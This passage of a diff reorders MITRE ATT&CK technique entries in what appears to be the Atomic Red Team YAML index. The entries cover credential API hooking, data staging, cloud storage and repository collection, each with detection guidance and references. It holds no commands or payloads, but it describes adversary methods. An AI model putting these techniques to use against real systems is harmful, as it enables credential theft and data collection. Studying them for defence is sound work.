+        Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.
 
         User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.
-      x_mitre_data_sources:
-      - 'Logon Session: Logon Session Creation'
-      - 'Application Log: Application Log Content'
-      x_mitre_platforms:
-      - SaaS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1213/001
+        external_id: T1213.001
+        source_name: mitre-attack
+      - source_name: Atlassian Confluence Logging
+        description: Atlassian. (2018, January 9). How to Enable User Access Logging.
+          Retrieved April 4, 2018.
+        url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
     atomic_tests: []
   T1056.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056.004
-        url: https://attack.mitre.org/techniques/T1056/004
-      - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
-        description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
-          Retrieved December 18, 2017.
-        url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
-        description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
-        source_name: Microsoft Hook Overview
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
-        description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
-          Retrieved December 12, 2017.'
-        source_name: Adlice Software IAT Hooks Oct 2014
-      - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
-        description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
-          Mode. Retrieved December 20, 2017.'
-        source_name: MWRInfoSecurity Dynamic Hooking 2015
-      - url: https://www.exploit-db.com/docs/17802.pdf
-        description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
-          December 12, 2017.
-        source_name: HighTech Bridge Inline Hooking Sept 2011
-      - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
-        description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
-          Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
-        source_name: Volatility Detecting Hooks Sept 2012
-      - url: https://github.com/prekageo/winhook
-        description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
-        source_name: PreKageo Winhook Jul 2011
-      - url: https://github.com/jay/gethooks
-        description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
-          12, 2017.
-        source_name: Jay GetHooks Sept 2011
-      - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
-        description: Felici, M. (2006, December 6). Any application-defined hook procedure
-          on my machine?. Retrieved December 12, 2017.
-        source_name: Zairon Hooking Dec 2006
-      - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
-        description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
-          against user-land. Retrieved December 12, 2017.'
-        source_name: EyeofRa Detecting Hooking June 2017
-      - url: http://www.gmer.net/
-        description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
-        source_name: GMER Rootkits
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
-        description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
-          December 12, 2017.
-        source_name: Microsoft Process Snapshot
-      - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
-        description: Stack Exchange - Security. (2012, July 31). What are the methods
-          to find hooked functions and APIs?. Retrieved December 12, 2017.
-        source_name: StackExchange Hooks Jul 2012
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Credential API Hooking
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Process: Process Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.138Z'
+      created: '2020-02-11T19:01:15.930Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6
       description: |
         Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
 
         * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
         * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
         * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
-      id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-11-10T18:29:31.138Z'
-      created: '2020-02-11T19:01:15.930Z'
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Metadata'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: |-
         Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)
 
         Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.
 
         Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056/004
+        external_id: T1056.004
+        source_name: mitre-attack
+      - url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
+        description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
+          Retrieved December 18, 2017.
+        source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
+      - source_name: Microsoft Hook Overview
+        description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: Adlice Software IAT Hooks Oct 2014
+        description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
+          Retrieved December 12, 2017.'
+        url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
+      - source_name: MWRInfoSecurity Dynamic Hooking 2015
+        description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
+          Mode. Retrieved December 20, 2017.'
+        url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
+      - source_name: HighTech Bridge Inline Hooking Sept 2011
+        description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
+          December 12, 2017.
+        url: https://www.exploit-db.com/docs/17802.pdf
+      - source_name: Volatility Detecting Hooks Sept 2012
+        description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
+          Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
+        url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
+      - source_name: PreKageo Winhook Jul 2011
+        description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
+        url: https://github.com/prekageo/winhook
+      - source_name: Jay GetHooks Sept 2011
+        description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
+          12, 2017.
+        url: https://github.com/jay/gethooks
+      - source_name: Zairon Hooking Dec 2006
+        description: Felici, M. (2006, December 6). Any application-defined hook procedure
+          on my machine?. Retrieved December 12, 2017.
+        url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
+      - source_name: EyeofRa Detecting Hooking June 2017
+        description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
+          against user-land. Retrieved December 12, 2017.'
+        url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
+      - source_name: GMER Rootkits
+        description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
+        url: http://www.gmer.net/
+      - source_name: Microsoft Process Snapshot
+        description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
+          December 12, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
+      - source_name: StackExchange Hooks Jul 2012
+        description: Stack Exchange - Security. (2012, July 31). What are the methods
+          to find hooked functions and APIs?. Retrieved December 12, 2017.
+        url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
       identifier: T1056.004
     atomic_tests:
     - name: Hook PowerShell TLS Encrypt/Decrypt Messages
@@ -8550,221 +8779,183 @@ collection:
         elevation_required: true
   T1074:
     technique:
-      id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Data Staged
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'File: File Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.3'
+      modified: '2021-03-08T10:33:00.855Z'
+      created: '2017-05-31T21:30:58.938Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e
       description: |-
         Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)
 
         In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)
 
         Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1074
-        url: https://attack.mitre.org/techniques/T1074
-      - source_name: PWC Cloud Hopper April 2017
-        description: PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved
-          April 5, 2017.
-        url: https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
-      - source_name: Mandiant M-Trends 2020
-        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
-        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
-          2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2021-03-08T10:33:00.855Z'
-      created: '2017-05-31T21:30:58.938Z'
-      x_mitre_is_subtechnique: false
       x_mitre_contributors:
       - Praetorian
       - Shane Tully, @securitygypsy
-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Linux
-      - macOS
       x_mitre_detection: |-
         Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
 
         Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'File: File Creation'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.3'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1074
+        external_id: T1074
+        source_name: mitre-attack
+      - url: https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
+        description: PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved
+          April 5, 2017.
+        source_name: PWC Cloud Hopper April 2017
+      - url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
+        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
+          2020.
+        source_name: Mandiant M-Trends 2020
     atomic_tests: []
   T1530:
     technique:
-      created: '2019-08-30T18:07:27.741Z'
+      type: attack-pattern
       modified: '2021-03-08T10:33:01.374Z'
+      name: Data from Cloud Storage Object
+      x_mitre_data_sources:
+      - 'Cloud Storage: Cloud Storage Access'
+      x_mitre_version: '1.1'
+      created: '2019-08-30T18:07:27.741Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      type: attack-pattern
-      external_references:
-      - external_id: T1530
-        source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1530
-      - source_name: Amazon S3 Security, 2019
-        url: https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
-        description: Amazon. (2019, May 17). How can I secure the files in my Amazon
-          S3 bucket?. Retrieved October 4, 2019.
-      - source_name: Microsoft Azure Storage Security, 2019
-        url: https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
-        description: Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20).
-          Azure Storage security guide. Retrieved October 4, 2019.
-      - source_name: Google Cloud Storage Best Practices, 2019
-        url: https://cloud.google.com/storage/docs/best-practices
-        description: Google. (2019, September 16). Best practices for Cloud Storage.
-          Retrieved October 4, 2019.
-      - source_name: Trend Micro S3 Exposed PII, 2017
-        url: https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia
-        description: Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed
-          Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.
-      - source_name: Wired Magecart S3 Buckets, 2019
-        url: https://www.wired.com/story/magecart-amazon-cloud-hacks/
-        description: 'Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker
-          Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.'
-      - source_name: HIPAA Journal S3 Breach, 2017
-        url: https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/
-        description: HIPAA Journal. (2017, October 11). 47GB of Medical Records and
-          Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Data from Cloud Storage Object
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - IaaS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7
       description: |-
         Adversaries may access data objects from improperly secured cloud storage.
 
         Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)
 
         Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.
-      id: attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Cloud Storage: Cloud Storage Access'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Netskope
+      - Praetorian
       x_mitre_detection: Monitor for unusual queries to the cloud provider's storage
         service. Activity originating from unexpected sources may indicate improper
         permissions are set that is allowing access to data. Additionally, detecting
         failed attempts by a user for a certain object, followed by escalation of
         privileges by the same user, and access to the same object may be an indication
         of suspicious activity.
-      x_mitre_contributors:
-      - Netskope
-      - Praetorian
-      x_mitre_version: '1.1'
-      x_mitre_platforms:
-      - IaaS
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1530
+        external_id: T1530
+        source_name: mitre-attack
+      - url: https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
+        description: Amazon. (2019, May 17). How can I secure the files in my Amazon
+          S3 bucket?. Retrieved October 4, 2019.
+        source_name: Amazon S3 Security, 2019
+      - url: https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
+        description: Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20).
+          Azure Storage security guide. Retrieved October 4, 2019.
+        source_name: Microsoft Azure Storage Security, 2019
+      - url: https://cloud.google.com/storage/docs/best-practices
+        description: Google. (2019, September 16). Best practices for Cloud Storage.
+          Retrieved October 4, 2019.
+        source_name: Google Cloud Storage Best Practices, 2019
+      - url: https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia
+        description: Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed
+          Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.
+        source_name: Trend Micro S3 Exposed PII, 2017
+      - url: https://www.wired.com/story/magecart-amazon-cloud-hacks/
+        description: 'Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker
+          Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.'
+        source_name: Wired Magecart S3 Buckets, 2019
+      - url: https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/
+        description: HIPAA Journal. (2017, October 11). 47GB of Medical Records and
+          Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.
+        source_name: HIPAA Journal S3 Breach, 2017
     atomic_tests: []
   T1602:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1602
-        url: https://attack.mitre.org/techniques/T1602
-      - source_name: US-CERT-TA18-106A
-        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
-        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
-          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
-          19, 2020.
-      - source_name: US-CERT TA17-156A SNMP Abuse 2017
-        url: https://us-cert.cisa.gov/ncas/alerts/TA17-156A
-        description: US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved
-          October 19, 2020.
-      - source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities
-        url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
-        description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation
-          of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October
-          19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Data from Configuration Repository
-      description: |-
-        Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.
-
-        Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)
-      id: attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2020-10-22T02:26:44.566Z'
-      created: '2020-10-19T23:46:13.931Z'
+      name: Data from Configuration Repository
       x_mitre_data_sources:
       - 'Network Traffic: Network Connection Creation'
       - 'Network Traffic: Network Traffic Content'
       x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
+      modified: '2020-10-22T02:26:44.566Z'
+      created: '2020-10-19T23:46:13.931Z'
       x_mitre_permissions_required:
       - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74
+      description: |-
+        Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.
+
+        Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
       x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
         or networks that solicits and obtains the configuration information of the
         queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)'
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1602
+        external_id: T1602
+        source_name: mitre-attack
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-106A
+        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
+          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
+          19, 2020.
+        source_name: US-CERT-TA18-106A
+      - url: https://us-cert.cisa.gov/ncas/alerts/TA17-156A
+        description: US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved
+          October 19, 2020.
+        source_name: US-CERT TA17-156A SNMP Abuse 2017
+      - url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
+        description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation
+          of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October
+          19, 2020.
+        source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities
     atomic_tests: []
   T1213:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1213
-        url: https://attack.mitre.org/techniques/T1213
-      - url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
-        description: Microsoft. (2017, July 19). Configure audit settings for a site
-          collection. Retrieved April 4, 2018.
-        source_name: Microsoft SharePoint Logging
-      - url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html
-        description: Atlassian. (2018, January 9). How to Enable User Access Logging.
-          Retrieved April 4, 2018.
-        source_name: Atlassian Confluence Logging
-      description: |-
-        Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.
-
-        The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:
-
-        * Policies, procedures, and standards
-        * Physical / logical network diagrams
-        * System architecture diagrams
-        * Technical system documentation
-        * Testing / development credentials
-        * Work / project schedules
-        * Source code snippets
-        * Links to network shares and other internal resources
-
-        Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server.
-      name: Data from Information Repositories
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2021-04-14T14:16:12.151Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '3.1'
-      x_mitre_contributors:
-      - Praetorian
-      - Milos Stojadinovic
+      name: Data from Information Repositories
       x_mitre_data_sources:
       - 'Logon Session: Logon Session Creation'
       - 'Application Log: Application Log Content'
-      x_mitre_detection: |-
-        As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.
-
-        The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.
-      x_mitre_permissions_required:
-      - User
+      x_mitre_version: '3.2'
+      modified: '2021-10-16T01:35:43.938Z'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      id: attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416
       x_mitre_platforms:
       - Linux
       - Windows
@@ -8772,105 +8963,184 @@ collection:
       - SaaS
       - Office 365
       - Google Workspace
+      - IaaS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: "Adversaries may leverage information repositories to mine valuable
+        information. Information repositories are tools that allow for storage of
+        information, typically to facilitate collaboration or information sharing
+        between users, and can store a wide variety of data that may aid adversaries
+        in further objectives, or direct access to the target information. Adversaries
+        may also abuse external sharing features to share sensitive documents with
+        recipients outside of the organization. \n\nThe following is a brief list
+        of example information that may hold potential value to an adversary and may
+        also be found on an information repository:\n\n* Policies, procedures, and
+        standards\n* Physical / logical network diagrams\n* System architecture diagrams\n*
+        Technical system documentation\n* Testing / development credentials\n* Work
+        / project schedules\n* Source code snippets\n* Links to network shares and
+        other internal resources\n\nInformation stored in a repository may vary based
+        on the specific instance or environment. Specific common information repositories
+        include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002)
+        and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific
+        services such as Code Repositories, IaaS databases, enterprise databases,
+        and other storage infrastructure such as SQL Server."
+      x_mitre_contributors:
+      - Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)
+      - Regina Elwell
+      - Isif Ibrahima
+      - Praetorian
+      - Milos Stojadinovic
+      x_mitre_detection: "As information repositories generally have a considerably
+        large user base, detection of malicious use can be non-trivial. At minimum,
